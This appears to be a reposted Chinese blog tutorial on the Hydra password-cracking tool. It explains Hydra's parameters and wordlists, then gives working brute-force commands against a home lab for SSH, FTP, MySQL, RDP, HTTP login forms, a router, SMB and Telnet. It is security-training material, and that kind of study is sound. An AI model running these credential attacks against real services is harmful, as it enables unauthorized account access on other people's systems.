Hydra(九头蛇)工具使用

news2024/11/16 22:36:48

Hydra工具使用

  • 1.Hydra简介
    • 1.1.Hydra介绍
    • 1.2.Hydra支持协议
    • 1.3.Hydra下载
  • 2.Hydra使用
    • 2.1.Hydra基本使用方式
    • 2.2.Hydra常用参数
    • 2.3.Hydra注意事项
    • 2.4.Kail字典
    • 2.5.Hydra密码生成器
  • 3.Hydra案例
    • 3.1.创建账号密码文件
    • 3.2.SSH协议爆破
      • 3.2.1.靶机信息
      • 3.2.2.开始爆破
        • 3.2.2.1.不知账号
        • 3.2.2.2.知道账号
    • 3.3.FTP协议爆破
    • 3.4.数据库爆破
      • 3.4.1.靶机信息
      • 3.4.2.开始爆破
    • 3.5.远程桌面爆破
      • 3.5.1.靶机信息
      • 3.5.2.开始爆破
    • 3.6.HTTP协议爆破
      • 3.6.1.靶机信息
      • 3.6.2.开始爆破
        • 3.6.2.1.POST方式爆破
        • 3.6.2.2.GET方式爆破
    • 3.7.其它爆破
      • 3.7.1.HTTPS爆破
      • 3.7.2.路由器爆破
      • 3.7.3.SMB爆破
      • 3.7.4.TELNET爆破
      • 3.8其它

1.Hydra简介

1.1.Hydra介绍

  hydra(九头蛇)是著名黑客组织thc的一款开源的暴力破解密码工具,功能非常强大,kali下是默认安装的,几乎支持所有协议的在线破解。密码能否破解,在于字典是否强大。

1.2.Hydra支持协议

  Asterisk, AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-POST, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTPS-POST, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MEMCACHED, MONGODB, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, Radmin, RDP, Rexec, Rlogin, Rsh, RTSP, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5, SSH (v1 and v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP。

1.3.Hydra下载

  至于Hydra下载在kail中是自带了,这里就不进行安装了,感兴趣的可以去项目地址看看。
  项目地址:Hydra

2.Hydra使用

2.1.Hydra基本使用方式

使用语法:hydra 参数 IP地址 服务名
帮助命令:hydra -h
常用命令:hydra [-l 用户名|–L 用户名文件路径] [-p 密码|–P 密码文件路径] [-t 线程数] [–vV 显示详细信息] [–o 输出文件路径] [–f 找到密码就停止] [–e ns 空密码和指定密码试探] [ip|-M ip列表文件路径]

2.2.Hydra常用参数

参数介绍
-h查看帮助菜单。
-R继续从上一次进度接着破解。
-S采用SSL链接。
-sPORT 可通过这个参数指定非默认端口。
-lLOGIN 指定破解的用户,对特定用户破解。
-LFILE 指定用户名字典。
-pPASS 小写,指定密码破解,少用,一般是采用密码字典。
-PFILE 大写,指定密码字典。
-ens 可选选项,n:空密码试探,s:使用指定用户和密码试探。
-CFILE 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数。
-MFILE 指定目标列表文件一行一条。
-oFILE 指定结果输出文件。
-f在使用-M参数以后,找到第一对登录名或者密码的时候中止破解。
-tTASKS 同时运行的线程数,默认为16。
-wTIME 设置最大超时的时间,单位秒,默认是30s。
-v/-V显示详细过程。
-x -h密码生成器帮助

2.3.Hydra注意事项

  1.server:指定目标IP。
  2.service:指定服务名,支持的服务跟协议有:telnet,ftp,pop3等等。
  3.自己创建字典,然后放在当前的目录下或者指定目录。
  4.参数可以统一放在最后,格式比如hydra ip 服务 参数。
  5.如果能确定用户名一项时候,比如web登录破解,直接用 -l就可以,然后剩余时间破解密码。
  6.缺点就是如果目标网站登录时候需要验证码就无法破解。

2.4.Kail字典

  在kail中是自带字典的,可以通过/usr/share/wordlists/dirb路径进行查看,当然都是txt文件,也可以自己向里面添加。

文件名介绍
big.txt大的字典
small.txt小的字典
catala.txt项目配置字典
common.txt公共字典
euskera.txt数据目录字典
extensions_common.txt常用文件扩展名字典
indexes.txt首页字典
mutations_common.txt备份扩展名
spanish.txt方法名或库目录
others扩展目录,默认用户名、默认密码等
stress压力测试
vulns漏洞测试

在这里插入图片描述

2.5.Hydra密码生成器

参数介绍
-x MIN:MAX:CHARSET 密码暴力破解生成器规则:MIN表示生成密码的最短长度;MAX表示生成密码的最长长度;CHARSET表示使用指定的字符生成密码,'a’表示所有的小写字母,'A’表示所有的大写字母,'1’表示所有的数字,对于其他字符,只需要添加在后面即可
-y使用方式见-x,它表示charset的字符是实际的字符,而不是正则表达式
-x 3:5:a生成的密码字典长度为3到5位,由所有的小写字母组成
-x 5:8:A1生成的密码字典长度为5到8位,有所有的大写字母和数字组成
-x 5:5/%,.-生成的密码字典长度为5位,只由’/ % , . -'这5种字符构成
-x 3:5:aA1 -y生成的密码字典长度为3到5位,且只由’a A 1’这三种字符组成
-x 3:5:aA1.-+#生成的密码字典长度为3到8位,由大小写字母+数字+.-+#进行组合。

3.Hydra案例

3.1.创建账号密码文件

  这里由于自己搭建的靶场密码都挺复杂的,通常爆破的可能不大,这里就手创建几个账号和密码进行测试。

在这里插入图片描述

3.2.SSH协议爆破

3.2.1.靶机信息

  Kail攻击机:192.168.10.20
  centos7靶机:192.168.10.30

3.2.2.开始爆破

3.2.2.1.不知账号

  这里我是用我指定的账号密码文件进行破解,如果像我一样自己创建账号密码进行破解,那么你在那个目录下创建的就需要在那个目录下操作,否则就需要加上绝对路径,并且我这里设置的线程很少,如果你感觉慢,那么可以使用多一点的线程来跑字典。

命令:hydra -L user.txt -P passwd.txt -t 2 -vV -e ns 192.168.10.30 ssh

在这里插入图片描述

3.2.2.2.知道账号

  若知道账号了,比如root,那么可以直接指定账号配合密码字典来测试,会更快。

命令:hydra -l root -P passwd.txt -t 2 -vV -e ns 192.168.10.30 ssh 

在这里插入图片描述

3.3.FTP协议爆破

  由于FTP协议爆破和SSH协议爆破基本一致,这里就演示具体的爆破手法了,直接放命令吧。

不知账号命令:hydra -L user.txt -P passwd.txt -t 2 -vV -e ns 192.168.10.30 ftp 
知道账号命令:hydra -l root -P passwd.txt -t 2 -vV -e ns 192.168.10.30 ftp

3.4.数据库爆破

3.4.1.靶机信息

  Kail攻击机:192.168.10.20
  windows10靶机:192.168.10.150

3.4.2.开始爆破

  这里我也不分知不知道账号了,这里假设我们知道账号是root。

命令:hydra -l root -P passwd.txt -t 6 -vV -e ns 192.168.10.150 mysql

在这里插入图片描述

3.5.远程桌面爆破

3.5.1.靶机信息

  Kail攻击机:192.168.10.20
  windows10靶机:192.168.10.150

3.5.2.开始爆破

  远程桌面爆破这里可以设定用户名也可以不设定用户名,我在爆破测试的时候,发现当爆破出账号密码后,会继续爆破,但是会出报错,暂时不知道情况,不知道是不是为了爆破出更多的账号密码。
这里我也不区分有没有账号了。

命令:hydra -L user.txt -P passwd.txt -t 6 -vV -e ns 192.168.10.150 rdp 

在这里插入图片描述

3.6.HTTP协议爆破

3.6.1.靶机信息

  Kail攻击机:192.168.10.20
  windows10靶机:192.168.10.150
  页面地址:/pikachu/vul/burteforce/bf_form.php

3.6.2.开始爆破

  在HTTP协议中存在POST与GET方式进行提交。

3.6.2.1.POST方式爆破

命令:hydra -l admin -P passwd.txt -t 6 -vV -e ns 192.168.10.150 http-post-form "/pikachu/vul/burteforce/bf_form.php:username=^USER^&password=^PASS^&submit=login:username or password is nois not exists~" 

  解释:后面的http-post-form是定义在http中使用post进行提交,后面的/pikachu/vul/burteforce/bf_form.php是访问的URL,而且后面的username与password是根据抓包获取到的格式,至于里面的USERPASS是固定格式,再后面的login是报错信息。
在这里插入图片描述

3.6.2.2.GET方式爆破

  这里其实格式和post差不多,都可以一样使用,只需要修改提交类型即可。

命令:hydra -L user.txt -P passwd.txt -t 6 -vV -e ns 192.168.10.50 http-get /phpMyAdmin/ 

  解释:后面的http-get是定义在http中使用什么提交方式进行爆破,而后面的//phpMyAdmin/指的是URL的访问连接,例如:你的登录页面是admin/index.php,那么后面就要更改为/admin/index.php
在这里插入图片描述

3.7.其它爆破

  由于我这边没有实际的案例,无法进行测试。

3.7.1.HTTPS爆破

  下面这个命令,是我在搜索中发现基本上是一致的,然而我式了一下,Hydra直接报错,提示无https协议。正确暂时我还没有测试出来,后面我再找找相关的命令,测试出来,我再添加上去。

命令:hydra -m /index.php -l 用户名 -P 密码字典.txt IP地址 https

3.7.2.路由器爆破

  路由器爆破,通常默认管理密码都是一串10位左右的各种大小写加特殊字符组成。而这里对路由器爆破就用枚举生成进行爆破。

命令:hydra -l admin -x 6:10:1aA.~!@#$%^&()-= -t 6 -vV -e ns 192.168.10.50 http-get /

  解释:-x是后面的是代表自动生成6到10位由大小写数字+特殊字符组成的密码。

3.7.3.SMB爆破

命令:hydra -L user.txt P passwd.txt -t 6 -vV -e ns 192.168.10.50 smb

3.7.4.TELNET爆破

命令:hydra -L user.txt P passwd.txt -t 6 -vV -e ns 192.168.10.50 telnet

3.8其它

  这里的协议不是很全,若需要其它的可自行百度搜索。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/137969.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

C#语言实例源码系列-游戏-实现华容道

专栏分享点击跳转>Unity3D特效百例点击跳转>案例项目实战源码点击跳转>游戏脚本-辅助自动化点击跳转>Android控件全解手册 👉关于作者 众所周知,人生是一个漫长的流程,不断克服困难,不断反思前进的过程。在这个过程中…

Rust个人学习之聊聊Rust的变量

今天看了Rust的变量相关内容,Rust变量很重要的一个设计点是: Rust变量默认是不可变的。 很难理解? 我们接下来一起研究一下Rust的变量, 在Rust中变量是通过关键字let进行声明的 let x 5; 上述语句就是定义了一个名称为x的变量,变量的值为…

修改esp idf hello_world_main.c,验证Strategy 策略基类。出现一个问题,加以解决

修改esp32 idf hello_world_main.c,验证Strategy 策略基类。出现几个问题,加以解决: 错误: …/main/hello_world_main.cpp: In function ‘void test01()’: …/main/hello_world_main.cpp:77:12: error: deleting object of ab…

入门力扣自学笔记228 C++ (题目编号:2042)

2042. 检查句子中的数字是否递增题目:句子是由若干 token 组成的一个列表,token 间用 单个 空格分隔,句子没有前导或尾随空格。每个 token 要么是一个由数字 0-9 组成的不含前导零的 正整数 ,要么是一个由小写英文字母组成的 单词…

很好用的gRPC和WebSocket调试工具Apipost!强烈推荐

随着软件开发行业的发展,越来越多的公司和开发人员在工作中会涉及到gRPC和WebSocket等接口类型,但是目前市面上能支持这种接口的调试工具却几乎没有,国外的工具大都晦涩难懂,不符合我们的开发习惯,很难上手使用。 经过…

Android开发——APP ANR治理

一、背景介绍 ANR(Application Not Response)指应用程序无响应,通常出现在主线程被阻塞时,并伴随ANR弹窗出现。ANR发生时要么关闭当前app,要么等待,等待的结果大概率还是继续ANR,最终需要杀掉应…

在msys2上安装武汉大学的开源PPP解算软件-PRIDE PPP-AR

最近一篇文章《免费提供POSMV的GNSS数据解算服务,验潮仪丢失的一种补救》发表了以后,有一位相识的网友提供了一个重要信息:武汉大学PPP解算软件名字为PRIDE PPP-AR 开源了,其GUI自动下载星历文件进行自主解算。PRIDE PPP-AR 的官网…

2022年中小企业数字化转型路径报告(附下载链接)

省时查报告-专业、及时、全面的行研报告库省时查方案-专业、及时、全面的营销策划方案库【免费下载】2022年11月份热门报告盘点罗振宇2023年跨年演讲PPT原稿吴晓波2022年年终秀演讲PPT原稿2023年,如何科学制定年度规划?《底层逻辑》高清配图清华大学256页…

(机器学习深度学习常用库、框架|Pytorch篇)第三节:Pytorch之torchvision详解

文章目录一:torchvision概述二:torchvision.datasets(1)官方数据集(2)自定义数据集类(3)ImageFolder手动实现三:torchvision.transforms四:torchvision.model…

【元宇宙欧米说】左手追星,右手造富——用Web3加持娱乐行业

娱乐圈如何才能与资本市场保持步调一致?Web3浪潮来袭,文娱行业如何才能踏上Web3世界的巨轮? 1月4日下午三点,VegaIdol联合创始人Linnea将以**“左手追星,右手造富——用Web3加持娱乐行业”为题,与大家共同…

界面组件DevExpress WinForms v22.2 -全新升级的皮肤和矢量图标

DevExpress WinForms拥有180组件和UI库,能为Windows Forms平台创建具有影响力的业务解决方案。DevExpress WinForms能完美构建流畅、美观且易于使用的应用程序,无论是Office风格的界面,还是分析处理大批量的业务数据,它都能轻松胜…

RabbitMQ的简单介绍与使用

前言:大家好,我是小威,24届毕业生,曾经在某央企公司实习,目前入职某税务公司。本篇文章将记录和分享RabbitMQ相关的知识点。 本篇文章记录的基础知识,适合在学Java的小白,也适合复习中&#xff…

乐视宣布每周工作4天半

老板跑了,公司不但没倒,而且员工还过上了不加班不内卷的神仙生活。 典型的老虎不在家,规矩自己定啊! 神仙日子 前段时间,网上流传着一则消息,说乐视目前还有400多名员工,靠着《甄嬛传》版权和…

Cadence PCB仿真使用Allegro PCB SI 创建含差分对网络元器件的IBIS模型图文教程

⏪《上一篇》   🏡《总目录》   ⏩《下一篇》 1,概述 本文简单介绍使用Allegro PCB SI软件为BRD PCB设计文件中的含有差分对网络的元器件创建IBIS模型的方法。 2,创建方法 第1步:确定打开PCB文件的软件是 Allegro PCB SI 如果不是Allegro PCB SI,可执行File→Chan…

回望2022,依然值得仰望星空

转眼间 2022 年已经过去,这是我在 CSDN 创作的第二年,在文章的创作上也是脱离“博客新手”身份,正式蜕变为“博客老手”的一年,各方面收获颇丰。2021 初见 CSDN来到 CSDN 是在 2020 年的 11 月份,但是那时候并没有开始…

传感器与传感器通道

传感器 Def:以一定精确度 把 被测量转换为与之有确定对应关系的,便于应用的某种物理量的测量系统。 作用: 捕获并转换信息,非电量物理参数转换为电参数。 e.g: 速度 ->电压,电流 组成: 敏感元件(直接感受…

css移动端适配最佳实践

移动端适配,在移动端里经常有遇到,在不同分辨率移动端设备精确还原UI设计稿,这是一个令人抓狂的问题,好在有flex,box布局解决了自适应很大一部分问题。 在开始本文之前主要介绍几种笔者常用的适配方案 1、设置meta标…

美赛Day1

1 层次分析法 评价类问题 1.1 模型介绍 1.1.1 模型介绍 在对B的评价中,判断A个物体哪个最好。将B分为k个可以评价的方面分别进行打分(每个方面A个物体的分数和为1),最终对A个物体的k个方面加权求和进行比较。 1.1.2 解题思路…

剑指政企数智办公市场,通信厂商融云有何看家本领?

近年来,数字经济正在加速赋能千行百业,我国的政务办公也正加速由数字化向智能化深度扩展。在线办公市场从公有云到政企私有云的热度,已然节节攀升。近日,作为通信厂商被熟知的融云推出了“百幄”数智办公平台,正式宣布…

05数据结构——顺序表与链表

开始系统学习算法啦!为后面力扣和蓝桥杯的刷题做准备!这个专栏将记录自己学习算法是的笔记,包括概念,算法运行过程,以及代码实现,希望能给大家带来帮助,感兴趣的小伙伴欢迎评论区留言或者私信博…